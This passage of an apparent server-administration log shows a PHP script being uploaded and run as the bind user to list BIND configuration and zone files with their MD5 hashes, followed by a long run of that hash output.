MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-06 10:30:58: Establishing a connection
2026-05-06 10:30:58: 

PUT: /tmp/pkp609902

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-06 10:30:58: 

runuser -l bind -s /bin/bash -c '/tmp/pkp609902; rm /tmp/pkp609902'

2026-05-06 10:30:58: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
